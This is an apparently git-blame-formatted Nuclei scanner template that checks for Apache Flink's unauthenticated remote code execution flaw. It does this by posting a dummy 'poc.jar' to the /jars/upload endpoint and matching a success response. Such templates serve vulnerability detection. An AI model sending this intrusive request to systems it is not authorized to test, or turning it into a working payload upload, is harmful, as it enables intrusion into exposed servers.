2021-02-10 15:18:24 +00:00
|
|
|
id: apache-flink-unauth-rce
|
|
|
|
|
|
|
|
info:
|
2022-05-23 21:29:29 +00:00
|
|
|
name: Apache Flink - Remote Code Execution
|
2021-02-10 15:18:24 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-05-23 21:29:29 +00:00
|
|
|
description: Apache Flink
|
2023-10-14 11:27:55 +00:00
|
|
|
reference: Apache Flink contains an unauthenticated remote code execution vulnerability. - https://www.exploit-db.com/exploits/48978 - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3 - https://github.com/LandGrey/flink-unauth-rce
|
2022-05-23 21:29:29 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-05-23 21:29:29 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: apache,flink,rce,intrusive,unauth
|
2021-02-10 15:18:24 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-02-10 15:18:24 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /jars/upload HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
|
|
|
|
|
|
|
|
--8ce4b16b22b58894aa86c421e8759df3
|
|
|
|
Content-Disposition: form-data; name="jarfile";filename="poc.jar"
|
|
|
|
Content-Type:application/octet-stream
|
|
|
|
|
2021-09-08 12:17:19 +00:00
|
|
|
{{randstr}}
|
2021-02-10 15:18:24 +00:00
|
|
|
--8ce4b16b22b58894aa86c421e8759df3--
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "application/json"
|
|
|
|
part: header
|
|
|
|
condition: and
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-02-10 15:18:24 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "success"
|
|
|
|
- "_poc.jar"
|
|
|
|
part: body
|
|
|
|
condition: and
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-02-10 15:18:24 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100c23141a6f16f90c8fab66fa3b2c0a15f1a1e8764af83f977671389376049f79a02206e4a7c6f9fc1b8828421abed2d16188c020d5eb6277cfa5835a8d60a1314d352:922c64590222798bb761d5b6d8e72950
|